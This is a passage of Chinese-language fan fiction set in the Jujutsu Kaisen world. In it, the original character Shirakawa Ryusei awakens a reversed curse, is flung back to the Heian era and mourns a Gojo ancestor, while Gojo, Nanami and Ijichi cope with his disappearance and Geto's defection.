手指,抽动了一下。夏油杰敏锐地察觉到这点。 这个生命力顽强,背负着相当多秘密的后辈,还会带来什麽意外?不由自主的,夏油杰也开始期待起来。 那诡异的空间又被构造了起来,构造的程度却并不完全,可能因为主人神志不清的缘故。月亮斑驳地挂在天上,不远处就是另一个月亮,仿佛图层错乱,河流坑坑洼洼,露出不少黄色的河床,红色的花和绿色的凡草挤挤挨挨长在一起,只有彻骨的风依旧刮过灵魂。 夏油杰的咒灵依旧在原地,没有被排斥出去。 只是稍微松懈了一点,这空间就不知道发生了什麽变化,不,不如说白川琉世到底发生了什麽变化,躺着的少年忽然猛地一个激灵,睁开了眼睛。 夏油杰感到一阵汹涌的,不属于自己的感情传达了过来。不,不对,与此同时,他的咒力,像被什麽东西吸食一样,源源不断地被白川琉世汲取着。?! 召唤出的两个咒灵,在顷刻间就被吸食干净咒力,消散在空中。夏油杰自己的咒力量也算庞大,片刻间也被夺取了一大半。如此明晃晃的危险,他竟没有第一时间察觉。 那种感觉……那种情绪是白川的吧?他为什麽会体会到白川的情绪?还有,白川明明是被吸取咒力的一方,怎麽会反过来吸取别人的咒力?不仅是他和咒灵的咒力,空气中一直漂浮着的闲散咒力,也争先恐后地涌入白川的身体。 一切东西都反转了。 反转? 原来这就是反转术式。 白川琉世想起家入硝子的“碰碰咻”,依然无法理解,但是每个人对反转术式的理解是不同的。既然是反转术式,那就代表什麽都可以反转!什麽乱七八糟的,通通反转给你看! 被外界源源不断吸取身体咒力的诅咒,被反转为身体源源不断吸取外界的咒力。 刚刚领悟反转术式的混乱,也让领域中唯独他可以做到的“情绪察觉”,反转到了察觉目标夏油杰身上。不过现在脑子不清楚的白川琉世,并不知道自己造成了这样的效果。 白川琉世脑子迷迷糊糊的,感觉自己的每一个细胞都挤满了咒力,随时会炸掉。 马上要被吸干咒力的夏油杰,不知为何依旧被硬控在原地,没有离开。 “百分百的感同身受,原来是真的。” 此时白川琉世的情绪极端、浓郁又散乱,半点都没有分给他夏油杰,但他却完完全全体会到了。 “是啊。”白川琉世拄着刀,强撑着站起来,“好不容易学会了反转术式,感觉也没用啊。” 强迫交心的能力,真是可怕。夏油杰安静地看着面前的人,但是,就算是百分百感同身受,对他而言又有什麽意义呢? 就要到极限了……,诅咒已经被反转过一次,那玩意好像是一次性的,根本没办法让他反转过来再反转过去。身体的咒力已经到了相当惊人的程度,白川琉世抬眸看向夏油杰,忽然察觉自己体内模糊不清的力量,被庞大的咒力冲击地清晰了一瞬。 白川琉世慌不择路,像玩游戏终于看到技能图标亮了,救命稻草一样一点。 他盯着夏油杰的眼睛,神色错愕,嘴巴微微张开,却没来得及留下一个字。 但夏油杰已经完全体会到了他想说的话。 今天见到的奇怪的事情已经够多了,三井没脑子的尸体还躺在旁边,但眼下白川琉世的凭空消失,依旧让夏油杰睁大了眼睛,伸手向前一抓,就好像他们第一次见面,白川琉世看到他吃咒灵玉时的虚抓。 “白川!” 混乱的领域,刮过灵魂的黄泉风,以及白川琉世本人,都消失得干干净净,夏油杰的咒力也不再流失。 一切都静的可怕,虫鸣声蛐蛐,四周断折的树木,咒灵的残秽,脚下的尸体,宛如梦境。 …… 夏油杰摇摇晃晃地走在路上,不知道要身往何方。高专是不会再回去了,那座古老学校背后所延伸的一切,同伴的笑颜,橘色的灯光,摇摆不定的夏日,在今天被他撕的粉碎。 “喂,那是夏油吧?”“三井被他杀了?”“是被他杀的吗?还不能确定。”“村民还没事,那夏油……” 通往村外的路口站着三名术师,看到昔日可靠、温和的特级咒术师,三人本来还想上去交谈。但看到那人染上疯狂底色的眼睛,他们本能地感觉到危险,站在原地一动不动。 “如果你们溜得快,我会因为同为咒术师的身份,饶你们一命。”夏油杰目不斜视,走向出村唯一的道路,“今天我不想杀人。” 他侧过头,笑容温和,三个术师却齐齐后退了一步,眼睁睁看着他一步步经过。 为首的术师等身穿校服的背影逐渐远去,打开邮件群发消息。 [情况属实,特级术师夏油杰叛逃。] …… 夏油杰翻开手机盖,在邮件联系人里点了几下方向键。 代表选中的深灰色色块,上上下下,停在了香织的名字上。 第34章 这个世界是虚假的 …… 啊…… 啊? 哈。 身体仿佛被包裹进更为深邃、辽阔的领域,那不是他的领域,是真正的黄泉津比良坂。 独立于任何时间与空间之外的黄泉津比良坂,生死的交界,轮回的起点,眠者的故乡,他的灵魂对这里如此熟悉。 神怎麽会死,当真惹人发笑。 镌刻在白川琉世身体上十几年的记忆,清晰又短暂,近乎被忽略。他躺在忘川的河水中,无数的世界诞生又湮灭,未来新生又凋落,一切都清晰明了,站在一切事物的顶端,属于黄泉津的灵魂宁静不可撼动。 与其说竟然如此,不如说原来如此。他这具身体所在的世界,只是众多普通世界的一个。 那些世界在意识层面互相影响着,或强或弱。相互影响强烈的,有重叠交界的地方,譬如鬼杀队、那个吃了APTX4869的高中生侦探和最后成为“布丁酱”的最上启示。互相影响微弱的,彼此的世界在对方那里也只是一本漫画、一部小说。在意识之海里相隔甚远的,彼此之间难以勾勒出对方世界的一丝轮廓。 …… 首先看到的,是源于血脉深处的羁绊。 青年有一头淩乱的白发,脸上带着伤疤,意外地兼具了长相帅气和面目可怖这两点,视线略过青年短暂绚烂的一生…… 是…… “我们家以前是姓不死川的。”他想起白川绊子的话,“后来觉得太惹眼就改掉了。” 不死川实弥,他仿佛能感受到祖先投来的轻轻一瞥。 耳上带着花札,穿着绿黑市松格子衣衫的少年,相貌和炭彦几乎一模一样。“治好祢豆子,杀掉鬼王,然后,我想要和家人回到山里度过一生。”这麽说着,少年露出温暖的笑容,和竈门叔叔如出一辙的笑容。 穿着女孩和服,留着娃娃头的小孩,轻轻捡起姐姐玩耍时落下的皮球。“父亲,我认为姐姐更适合成为鬼杀队的当主……我,……我明白了。” 之后,思绪蜻蜓点水般略过一段段人生,惊才绝艳的继国缘一,令人心驰神往的日之呼吸第十三式,也已经无法令他产生一点波动。 [我是白川琉世,还是黄泉津?] 陷入对自己存在的疑问,还真是有点好笑。悟之前说的没错,他是白川琉世,也是黄泉津本身。一时忘记了灵魂的来处,不会改变他的本质。 属于人的感情流淌而过,他和黄泉津比良坂的一捧水、一缕风、一簇花唯一的不同,在于被一具有所感知的身体承载。 他从未来的河流中捞出一个泡泡。 悟戴着一条长长的围巾,眼睛没有东西遮挡,脸上干干净净的,踩在雪地里慢慢行走,张嘴呼出一团白色的雾气。 那是明显成熟了很多的悟,是他所未见过的冬天的悟。 雪花落在睫毛上方,被无下限隔开,融化成水汽消散在空气中,尽管如此,悟的眼睛还是忍不住眨了一下,银白的睫毛如同两把小刷子,在眼睑上留下一道淡淡的阴影。 浅色的围巾、衣服,白色的头发、睫毛,以及洋洋洒洒的白色的雪,仿佛世间万物所有色彩全着色在那双纯净的眼睛上。 他一定是最受缔造者钟爱的人物。 “五条老师,五条老师!”咯吱咯吱的踩雪声响起,一个粉色头发的少年追上来。 真的成为五条老师了,悟。 “明天的战斗……”少年棕色的眼睛在明亮的地方透出金色,他绷着嘴角,郑重地说,“我相信老师!” “这是当然的啦,悠仁。”悟转身,展开大大的笑容,“老师会赢的。” 和高专三年级的五条悟相比,也没变太多嘛。白川琉世在那抹笑容里,隐约感觉到心脏嗵嗵,恢复了跳动的节奏。 指间也感受到了血液流通后的温度。 悟的一生,是怎样的呢?泡泡从指尖破碎,他伸展四肢,任由自己沉入河中。 看一下,悟不会生气的,不知什麽时候起,白川琉世已经很了解悟的性格了。而且,如果要告诉他未来的事,他也一定不会 听。 “现在就知道了有什麽意思。”一定会这麽说的。 如此受缔造者钟爱的人,他的一生肯定会很—— 扑通。 心跳停顿了一下,重重一落。 血……那种凄厉的,深重的红色,爬满了苍白的脸颊,黏湿了白色的发丝,血液从口鼻奔涌出来,爬过下巴,滑入脖颈,好像神打翻了不详的调色板,毁掉了他最得意的作品。 悟? 还没来得及对前因后果有所猜测,事实以绝对荒诞的形式,毫无缓冲地呈现在眼前。 腰斩?什麽意思,什麽意思?到底是什麽意思?这个画面是怎麽回事?那是悟?不是吧!有谁能伤害到他?后面呢,后面肯定有反转。让家入好好治疗一下就好了吧,一定很疼吧,家入在哪?在……手术台上?这是谁?乙骨忧太? 为什麽? 为什麽为什麽为什麽为什麽为什麽为什麽? 缝合线是什麽意思,把脑子换到别人身体里又是什麽意思?他是五条悟,不是笔芯坏掉能随时换一根的签字笔。一定要用这种方法吗?这麽多健康的大脑就只能想到这种阴间的方法吗? 后面呢?没有了?怎麽没有了?为什麽会没有?所以说是为什麽?一定要这样吗?再往后真的没有了吗?悟的人生就停止在这里了?遗体在哪,总要让我看一眼吧?假的,假的,全都是假的,别开玩笑,神啊,拜托你,别开玩笑了。 [这个世界一定是虚假的。] 明明没见过冬天的悟,但雪还是轻飘飘落下来了,融进苍蓝的眼眸里,融化在温热的血水里。把砂砾、血迹、轻蔑、喧哗纷纷掩埋。 神明把身体沉入忘川,把那些破碎的泡泡揽入怀里。 [我要创造一个五条悟能够幸福的世界。] …… 耳旁传来轻柔、喜悦的嗓音。 [“我最喜欢大家了,一点也不寂寞。”] …… [悟!!!] 第35章 那是悟的灵魂(平安京篇开启) 日落黄昏,残阳如血。 障子门哗啦一声推开,庭院里,正小声交谈的两名侍女吓了一跳,怔怔地看着屋里走出来的少年。 是那名面部有妖纹的少年,虽然天使大人后面说,那不是妖纹,但怪异的穿着与短短的头发也令人侧目。 “醒了,我去告诉天使大人。” 身穿粉色直衣的女孩反应比较快,匆匆离开了,单留下绀色衣服的那个,心情忐忑地留下来。似乎应该向对方说些什麽,但少年冷漠、疲倦,看起来十分不愉的神色,令她止住了交谈的念头。 白川琉世没有出声,目光略过低矮的房屋,干枯的枝丫,还有明显不是现代装束的女孩,和她乏善可陈的普通灵魂。他仍穿着高专的校服,把澄黄色的漩涡纽扣攥进手心。 还是原来的世界,这点没有错。 因为精神暴乱被甩入时空涡流,本能的执着让他依旧摔进了原来的世界,只是时间好像混乱了。 神明的力量短暂觉醒,瞬间把羂索所下的第一层诅咒冲刷干净。但是,再次投入现世,他的力量依旧被灵魂入世时自我立下的束缚压制。 最后一刀没能杀了羂索,那可笑的家夥用“以后永远不更换身体”为束缚,强行启动三井的术式逃走了。 那是他在黄泉津比良坂里看到的最后一件事。 哈。 原来,“千年前”的黄泉津御命转世,就是他自己。 这是什麽冷笑话吗,穿越也没有时髦到哪里去。 没关系,没关系,都没关系。 应该发生的,不应该发生的,他全部都知道了。 森寒的冷意冻结了泛着温暖色泽的眼睛。 …… 踏,踏,踏。 是木屐踩在石板上的响声。 穿着白色直衣的少女缓步前行,她面容清丽,长长的黑发修剪成姬发式样,垂在腰间,年纪大概十七八岁,表情却没有少女的天真烂漫,一片认真凝重。 刚踏进院子,天使就停住脚步,身体自动做好了发动术式的准备。 很危险!这种压迫感令她浑身寒毛直竖,她只在狩猎特级咒灵和大妖怪时感受过。 “这里是安培家……,无论如何,希望你不要恩将仇报。” 站在门口的少年松开刀柄,仿佛梦游初醒,“不用这麽紧张,我没有敌意。” 然而,少年刚刚浓重的杀意令她不敢掉以轻心。 “你是什麽人。是我擅作主张救了你,如果你给安倍家带来麻烦,我也会亲手了结你。” 眼前的少女,有着非常坚韧的钢灰色灵魂。 这双眼睛,是什麽时候能看到别人的灵魂的?忘记了。 与此同时,白川琉世感受着体内一道新加的封印,仿佛一道闸门,把往他身体里涌的咒力关在了门外。 他的身体,也就是因为这个才没有被庞大的咒力挤压崩溃吧。 “我是个没有过去的人,你可以叫我黄泉津。” 天使:…… 这麽一说就更可疑了,这人是犯了什麽大事潜逃的吗?而且,黄泉津这种名字真的是本名吗? “我叫做天使。” 好吧,她的名字也很奇怪。 天使决定接受黄泉津这个名字。 “我是在安倍家附近发现你的,那时你的身体正无休止地吸收咒力,已经不堪重负。同行的咒术师看到你的妖纹,不想施以援手,但我们安倍家对妖族没有太多偏见。” “妖纹?”那应该是他开启斑纹后的纹路,但是现在的他,并没有多少兴趣找个镜子照照看。 “我知道不是,后来,你的情况安倍家无法处理,只好去请藤原大人帮忙,你的封印就是藤原大人所下。他告诉我,你是人类,不是妖族或者半妖。”天使的脸闪过一丝落寞,“如果晴明大人还在世,这种事我们也不至于去请别人。” 晴明?安倍家?安倍晴明? 白川琉世沉默。 安倍晴明应该刚去世没多久,至少以天使的年纪,能对他留下印象。 白川琉世询问少女,“你是咒术师吗?还是阴阳师?” “我是咒术师。”天使顿了顿,不想与刚认识的人交浅言深,不满地反问,“那你是什麽人呢?现在都还没有告诉我,是武士吗?还是忍者?隶属于哪里呢?为什麽会遇到那样的麻烦?” “我的事一时半会说不清楚。”为了表示尊重,他把刀挂回腰间,“不会给你们安倍家带来麻烦。现在,可以回答我一个问题吗?” “你知道两面宿傩吗?” 天使深棕色的瞳孔因震惊微微扩大。 “为什麽这麽问?”天使因为这个名字,本能地扬起愤怒的声线,“你认识宿傩?” “不。”白川琉世平静地说,“我要杀了他。” 没想到得到这样的答案,天使赞同地说,“宿傩确实应该被处决,就在昨天,他还有胆子杀了好多咒术师,就连菅原家的觉大人也……” “你说……什麽?菅原?觉?” 天使后退一步,努力抵挡内心涌上的深深恐惧。黄泉津怎麽了?那双眼睛这麽盯着她的时候,那种浓重的压力是怎麽回事?不是杀气,不是威吓,事实上,少年的眼中只是填满了惊疑的神色。 那种,好像直面死亡一样的压力…… 注意到天使的异常,白川后退几步,闭上眼睛,尽量缓和自己的情绪,再次询问。 “菅原觉,他怎麽了?” “就在昨天,宿傩杀了觉大人。”天使小口小口地呼吸,“太残忍了,竟然把人腰斩……” …… [“你为什麽不姓菅原,姓五条?”] [“因为老子家里改过姓。”] [“老子家里有个笨蛋祖先,也是六眼,被他杀了。”] [“就在昨天,宿傩杀了觉大人。”] [腰斩……] “黄泉津?你这是……”天使鼓起勇气,在准备发动术式和开口询问间选择了后者,“怎麽了?你认识觉大人吗?” 哎,天使也感到惋惜,觉大人是多麽好的一个人,就算交情不多,听到这个消息的时候,她也很伤心呢。 …… 想必她问了多余的话,那个古怪的少年看起来不仅认识菅原觉,而且相当挂心。 在询问了菅原家的地址后,就直接跑了出去,天使作为救助他的人,怕他做出什麽不好的事,也匆忙跟在后面,焦急地叫着他的名字。 但……这是跑哪儿去了?刚出了安倍家的大门,就不见了黄泉津的踪影,天使一咬牙,干脆往菅原家跑去。 菅原家因为有丧事,不时有人前去吊唁,个个面色哀切。门口迎来送往的人都穿着素色衣服,为首的是个银白色长发的少年,正要送禅院家刚继任的年轻家主禅院幸回去,忽然感觉耳边一阵风刮过。 “诶?”他迷茫地转头,什麽也没看到。 “行平……”禅院幸错愕地睁大眼睛,“刚刚有人闯进去了。” “诶?!” 菅原家昨天才失去了家主,对葬礼上突如其来的变故表现地十分愤怒。菅原行平听到院子里传来喧闹声,带着几名族人匆匆往里赶。 不会是宿傩又……?不,不会,他应该还不敢直接闯进京都。而且,如果是宿傩的话,大概会直接把“碍事”的人统统斩了。 …… 大门内的走廊上,一个高大的身影掠过一道道竖着的木质围栏,快速奔跑着。 菅原家的格局和别家有些不一样,半露天的走廊相当长,左右都是观赏的庭院,和连通别的院子的岔路。一些在庭院中交际的客人,纷纷停止交谈,惊诧的目光随着少年移动。 “拦住他!” “他要往灵堂去!” 是谁在吵?在追他吗?白川琉世茫然地转头一望。 庭院中,走廊上,身上绣着各种家纹的咒术师、阴阳师,披袈裟的僧侣,束发的巫女,乌帽深衣的男子,素服持扇的女人,追着他跑的人,拿扇子遮住惊讶面孔的人,一幕幕仿佛舞台剧,带给他强烈的不真实感。 [这是哪?他们是谁?我在做什麽?] 有必要那麽焦心吗?菅原觉又不是五条悟。 [“……卡密?不,不对。”] 只是相同的名字而已。只是一个家族的人而已。只是千年前一个和悟无关的人而已。 [“那麽,我和那个人有什麽相似之处呢?”] 不,不对,全都不对! [“琉世,你有没有梦到过我?”] 那是—— 沿着走廊奔跑着,速度越快,越能隐约感觉到熟悉的灵魂质感,透明的,仿佛水中轻盈上升的气泡…… 上升,不断上升,在繁盛的日光下破裂。 那是悟的灵魂! 嘭。 一道身影扑进紧闭的灵堂大门,摔出一声巨响,屋内吊唁的宾客纷纷吓了一跳,突如其来的意外,一时让人难以反应。 众人眼睁睁地看着那个穿着怪异的少年踉跄了一下,目光转向停灵的地方。 “拦住他!”菅原行平终于追上了,他扒着门框,弯腰急促喘息,“不要让他打扰觉大人。” 外面的骚动,屋里并不是一点都听不到,有些性急的客人正要动手拦人,却被一个孔雀蓝色眼睛的青年打断了。 “诸位,先看看是什麽情况吧。” “藤原大人,可是……” 藤原用目光示意菅原行平看过去,语气温和,却让人不容拒绝,“或许那个年轻人也是同我们一样的伤心人,只是情之所起,一时难以自禁罢了。” …… 白川琉世什麽都听不到,径直向停灵的地方走去,周围全是人,一声不响地围在周围,无数双眼睛齐刷刷地盯着他,不知出于什麽心理,一时没有任何一个人阻拦他。 菅原觉是菅原家的家主,年少英才,可惜继位不过一年就身陨。年轻的六眼从小就极受家里疼爱,就连呈放他的棺椁也是上佳的。 青年身体被白色绢布仔细包裹着,双目紧闭、面色沉静,银白色的长发迤逦,整整齐齐披散在身侧。脸颊失去血色,嘴唇苍白,只露出一张素白到极点的脸,在漆黑的棺木里,像一捧马上要融化的雪。 一张与五条悟一模一样的脸。 白川琉世伸出手,似乎要触碰死者,手指却颤抖着,停在半空,迟迟没有下落。 他注视着半空,那是在黄泉瞳下也毫无色彩,却明净清澈,极具存在感的一缕灵魂。 是五条悟的灵魂。 “……Satoru。” 白川琉世轻声呢喃,望着空中长久地出神,时间越久,神态越有种平静的癫狂。 “一定很疼吧。” [走吧,没关系,我会看着你。] “对不起,以后不会了。” 遗留在人间的最后一缕灵魂碎片,被少年的手指轻轻点了一下,飘飘摇摇,向上,毫不留恋地消散。 灵堂针落可闻,明明有访客几十众,大家却连呼吸都放轻了。那个莽撞的少年抬起一张沉郁到有些麻木的脸,眼底汹涌的惊痛,让所有人都不敢妄加上前打扰。 那种可怖的、骇人的气势,仿佛神魔降世,让在场有些人莫名想到那个嗜杀的诅咒之王。 …… 菅原行平想起昨天,觉大人的父亲得知儿子死讯时的表情,与眼前的少年有些相通之处,他忽然不再坚持把少年抓住扫地出门了。 只是,他平时总是随着觉大人出门,觉大人哪里认识的这个人呢?况且,听他的语气,似乎与觉大人有过人的关系。 众人更是惊疑交加,刚刚空中是有什麽东西吗?还是那少年魇住了?他们屏息凝神,等待着少年接下来的动作。 少年却仿佛从什麽中抽离了出来,脱力似的半跪在棺旁,锋利的情绪收敛。他沉默了半晌,只是仔仔细细地看着菅原觉的遗容。 良久后,靠得近一些的人才听到少年的低语,“开什麽玩笑……” 没有人做声,大家的态度却软化了很多,啊,果然像藤原大人所说的那样吗?这个少年只是接受不了菅原觉的离世啊。 等到终于要离开的时候,他站起身,轻轻开口,语气格外温柔、缱绻。 “神会一直保佑你的,悟。” ……? 菅原行平后退一步,完全不知道该怎麽办好了。这是怎麽回事?是什麽情况?周围的人纷纷都问过来了,但是他也并不知道更多啊? 吊唁的客人中,已经有些在低声交谈自己的猜测了。 在古老的平安京时代,既崇尚风雅,对感情的表达又极尽含蓄,互相称呼名字已是相当亲密的事,更别说这种出格的行为。在其中一个已经身陨的情况下,生死相隔,表达的感情就更加微妙。 不过,他刚刚说的是Satoru,而不是菅原觉的名字Satori吧? 或许是那人弄错了,悟比起觉来,更像是男子的名字,也或许是他们听错了。不管怎样,感情总是做不得假,看他这麽伤心的样子,有的人已经开始感慨。 “真是动人的感情啊。” “这位和菅原大人是什麽关系呢?” “想必是爱慕者了。” 菅原行平到处辟谣,“不是的,我一直跟随着觉大人,但没见过他,这个人就算认识觉大人,想必也不熟悉。” “既是爱慕,互赠和歌,也不一定让你看到啊。” “是这样,这种事情,当事人总是想着避嫌呢。” 菅原行平:…… 开始怀疑自己。 菅原行平把求助的眼神看向藤原,但有着孔雀蓝眼睛的青年,看着白川琉世的方向,心中不忍,走过去轻轻拍了拍他。 “请节哀。觉他……走的很快,没有受太多折磨,希望你不要太伤心。” 白川琉世只是长久地沉默着。 “你……没事吧?对了,忘了自我介绍,”青年笑起来有点腼腆,“我是藤原朝若,早一点的时候,就是我去安倍家替你封印的咒力。” 第36章 夏天结束了 最近咒术届发生了翻天覆地的大事。 特级咒术师夏油杰叛逃,咒术总监部连带总务在内的几个高层,和加茂家的一位长老同时失踪,与此同时,白川琉世的失踪在一连串重磅消息的衬托下,就显得微不足道了。 况且,辅助监督三井的死,明显为白川琉世所为。 咒术总监部先后发出对夏油杰、白川琉世的通缉令。 带出了两个诅咒师学生,夜蛾正道也收到了一连串行政处罚,如果不是五条家力保,刚上任的东京校校长马上就要喜提卸任离职。 反正他也已经习惯了,不够圆滑、没有派系,不会拉帮结夥,还坐上了高专校长的位置,就算什麽也不做也有很多人看他不顺眼。 运气比较好的是,他有学生维护。 清晨,夜蛾正道坐在办公室里,向窗外看去。往常这个时间,云层已经透出熹微的橙色光芒,然而今天的天色依旧昏暗,夜蛾被烦恼填满的脑子放空了一下,忽然发现现在已经是秋天了。 悟刚刚从他办公室离开,学生要做的任务、背负的事务,比他这个做老师的还要多。杰不接他的电话,悟联系了两次,倒还有些进展。 悟和他坦白了琉世的身世问题,也从杰那里得到了缝合线的一些消息,正一边和总监部的人斡旋,试图撤销白川琉世的通缉,一边调查缝合线的事,目前线索似乎指向了盘星教。因为这个,悟和杰又开始了联系。 两人联系的内容,杰有没有回来的意思,夜蛾并不清楚。 事情为什麽会变成这个样子,饶是认为对一切都有心理准备的夜蛾,也陷入了长久的消沉中。 他尚且如此,更别说悟了,夜蛾想起通知悟时学生的表情。 “开什麽玩笑?” “是真的。” “杰那家夥叛逃,琉世失踪?琉世还杀了人?” “前两项是确认的,琉世杀人是总监部的说辞,我并不相信。” “悟,回来!你去哪?别冲动!” …… 夜蛾本来应该觉得欣慰的,往日喜欢和他唱反调的学生,第一次听进去了他的劝阻,没有冲动。 但代价实在太沉重了。 他没有如夜蛾所担心的那样,大闹总监部,去杀人,或者也去叛逃,只是请了几天假,回五条家开会。请假的那几天,发给他的任务同样也做了。 夜蛾仿佛第一次真正认识五条悟。如果说令他觉得靠谱的学生排名,无论怎麽排,悟总是最后一名。顽劣,吵闹,不遵守规则,连做任务都经常忘记放帐。 但是,属于他的责任,不属于他的重担,不都一件件好好背负上了吗? …… 属于五条悟的夏天结束了。 家族、咒术界、社会、最强的责任、大人的担当。 直至踏入逐渐逼近的凛冽寒冬。 …… 七海和伊地知交了任务,一起从校长室出来。 过了夏忙期,两人能过上相对轻松的学生生活了,特别是伊地知,任务量更是一个月零星一两个。 走到自动贩卖机前,七海向里面投币,问伊地知要喝什麽。 “可乐,谢谢七海前辈。” 七海干脆买了两罐可乐,递给伊地知一罐。 两人坐在学校的长椅上,都不是话多的人,一时间只听到风声掠过。七海受了点伤,不严重,不着急去找家入硝子,他抬头把可乐放在额头上,虽然不是冰镇的,也带来了一丝凉意。 伊地知喝了口饮料,把易拉罐放在地上,抱着书包垂下了头。他的书包也挂上了咒骸,那是他最后一次见白川时,白川特意为他要的。 没有那种能帮助咒术师战斗的咒骸,如果有,就算不投入生产,夜蛾老师也早就给他们发放了。但是夜蛾老师是和白川一样温柔的人,依然顺势送给了他一个咒骸,还是和白川那只一个类型的,一个蓝色的丑丑的小鸟。 七海不是个喜欢流露感情的人,但看到那只小鸟,心中总是泛起一阵熟悉的牵痛。 “伊地知,白川只是失踪了,没有消息就是最好的消息。一般像这种情况,人肯定还活着。” “我也是这麽相信着的。”伊地知露出勉强的微笑,“谢谢你,七海前辈。对不起,让你担心了。” 啊,是很难说出心里话的类型啊。本来以为这个最弱的后辈会先出事,没想到是看起来生命力最顽强的白川。但同伴和自己谁先死掉根本没有比较的意义,都一样可悲。 “你的运气比我好,伊地知。” “诶?” “没什麽。” 七海望着远处的天空,想起去年的自己,日复一日地开始怀疑成为咒术师的意义。他的天赋不算顶尖,但也不坏,学生时代评上了二级,毕业的时候差不多能评上一级,再往上走是没可能了。 到底为什麽要做咒术师?就算能看到咒灵,平时当做看不到,也不会有咒灵来找他麻烦,这麽当一个普通人就好。不管什麽工作,都比上一刻还在一起说笑,下一刻就看到同伴尸体的咒术师好。 “伊地知,你有没有考虑过,以后做辅助监督。” “嗯?”伊地知迷茫地抬头,“没有考虑过,我一直在为成为咒术师努力。” “没必要为那种东西而努力,咒术师就是狗屎。” 终于说出来了,真是太舒适了。 七海感觉堵着的胸腔通畅了,他认真地建议伊地知,“虽然想尊重你的想法,但还是考虑一下放弃做咒术师吧,我不想再看到你的尸体了。” …… 挂断老爹的电话,五条悟经过熟悉的楼梯拐角,继续向上,来到男生宿舍三楼。 老爹真是的,最近骂了他不止一次呢。 他当然知道家里有很多人对他不满,特别是最近,为了琉世和夜蛾老师的事,花了很多钱不说,还送出去很多人情。 夜蛾老师没事了,杰因为是琉世失踪前见过的最后一个人,不知是出于愧疚,还是最后一点情谊,两人通过一次电话,互相对了对缝合线的情报。 但是后来,那家夥就不接他的电话,不回他的邮件了,任凭他发了多少内容,都石沉大海。 杰一直都比他好说话,但两人都知道真正固执的是谁。 至少对方还没有拉黑他的联系方式。 杰那边有个很有用的线索,盘星教新教主香织是个平时一直戴着帽子的女人,很容易就能联想到,她是不是想遮住什麽。杰说他会用自己的方式调查香织,并不是为了琉世,而是单纯不喜欢有人骗他。 叫香织的女人不是傻瓜,杰叛逃后就没有踪迹了,要论调查,还是已经加入盘星教的夏油杰近水楼台先得月,但他也不能松懈。 琉世,你什麽时候能回来? 五条悟打开挂着“白川”牌子的房门,里面快一个月没人住了,空气中夹杂着淡淡的灰尘味。 很普通的男高房间,书桌、椅子、衣柜、床铺,堆满了书籍的置物架,除了随便扔在地上的大量漫画书,其他地方既不整洁,也不过分淩乱。 黑色的书包放在椅子上,书桌上放着只写了名字的作业纸和他借给琉世的古籍。那本古籍,琉世还没来得及还给他就失踪了。 本来以为是第二次转世,没想到琉世是平安时期的黄泉津本人。 “怎麽擅自跑去那麽远的地方啊。” 杀死宿傩后,黄泉津不知所踪。这段在古籍上只占了一行的记载,如今却是悬住五条悟希望的唯一证据。 琉世是在杰面前凭空消失的,就算再怎麽不可置信,他也不得不把那个可能当成最接近真相的答案。 回过头来想想,如果是第二次转世,相貌也不会和他梦中的相同。 这种误会在漫画里,是没有八十话都解释不清的情节,还好他有一颗超级聪明的大脑,所以那种误会、反转、再误会、再反转的情节,在他那里根本不会发生。 “看在你那麽焦急地托梦的份上,就原谅你了。”白发少年轻声呢喃,“如果不赶快回来的话,就说不定了。” 他坐在白川琉世的床上,就势一躺,脸埋进陌生的枕头里。 嘶,怎麽会有人睡这麽硬的床啊,琉世真是半个野人,床板上只铺了层床单,太硌了吧。等以后在一起,他是绝对不会睡这麽硬的床的。 空置了一段时间的房间,已经没有任何主人的咒力残秽,连平时残秽最明显的床上也毫无痕迹。五条悟短暂解除无下限,放松身体接触床铺的织物,深吸一口气—— 枕间、被子,也完全没有主人的气味了,只有秋天微凉的空气充满肺部。 二十八天没见了。 他以为这种程度的思念会来得更晚一点。 真是好窄的床铺,平躺的时候脚马上就从床尾伸出去了,琉世睡的话应该会更难受吧,干嘛不找管理人员更换尺寸更大的床呢? 是因为根本不在意吧,活得太粗粝了琉世。 枕头有些不平,五条悟往枕头下一翻,拿出一本漫画书来,他正要放到桌子上,那粉色系花里胡哨的封面就撞入眼帘。 “噗。” 苍蓝眼眸漾出笑意。 随手柄漫画放在桌上,五条悟拿起枕头抱在怀里,下巴贴在上面低落地蹭了蹭,略带甜系的嗓音轻哑,有些撒娇的意味。 “什麽嘛,搞得好像被老子折磨到了,明明直说就好了。” …… 下次一起去水族馆吧。 别再缺席了,琉世。 第37章 平安京和被称为神的家夥…… 临近元月,积压了半日的雪,终于从乌晦的云层中落了下来。大雪来势汹汹,伴随着呼呼的狂风,把街道上的人全都赶回了家里。 菅原行平正襟危坐,由藤原朝若作陪,审慎思考着和藤原家家主寒暄的话题。饶是如此,也不由分出一点注意,瞥向了框框作响的窗扉。 街道上似乎有人声,透过了宽阔的庭院和呼啸的风雪。 “安倍家的捉妖队回来了。” “是黄泉津大人!” 藤原朝若察觉到了友人的走神,偷偷用桧扇打了他一下,表面上还要为他找补。 “父亲,安倍家的捉妖队回来了,不知道这次猎到了什麽妖物呢。” “听说安倍家又招揽了一个厉害的人物,风头正盛,还自比为神明呢。”藤原家主语气有些惊叹,更多的是奚落,“朝若,他是什麽人呢,阴阳师?” “并非阴阳师,他有咒力,但也不像咒术师。” 藤原朝若想起第一次见面时,那人张口就自称为神明,他当时哭笑不得,还担心地替他检查了一下头部有没有磕碰。 不过…… “恐怕真的是神明呢。”他回答颇为目中无人的父亲。 “当真有那麽厉害?” “您如果看过他的眼睛,或许就不会怀疑了。” 藤原家是顶级贵族,与阴阳师、咒术师家族,大寺院、大神社都保持着良好的关系,家里的日月星进队和五虚将,吸纳了平民中有灵力和咒力的人,在几代人的培养下,战力已不容小觑。 藤原家主对那种神赐般的能力,向来惊叹有加,否则也不会娶了安倍家的女儿做妻子,还让幼子朝若娶了菅原家的女儿。 “安倍家好运气啊。”藤原家主想起之前的事,“那个女孩也是如此,当初被晴明公抢先了一步。” “父亲。”藤原朝若附和了几句,话锋一转,“行平的心已经不在这了,还是让我们去看看那位黄泉津的风姿吧。” 藤原家主哈哈大笑,扬了扬手,准许两人离席。 菅原行平的心确实不在这了,他和藤原一人撑了一把伞,站在不时跑出家门看热闹的人群中,遥望从西边赶路回来,正前往阴阳寮的队伍。 一行七八人左右的年轻阴阳师,骑着马经过朱雀大街,每个人都穿着绣着五芒星纹的白色狩衣,带着立乌帽子,神情悠闲地像刚刚春游归来。 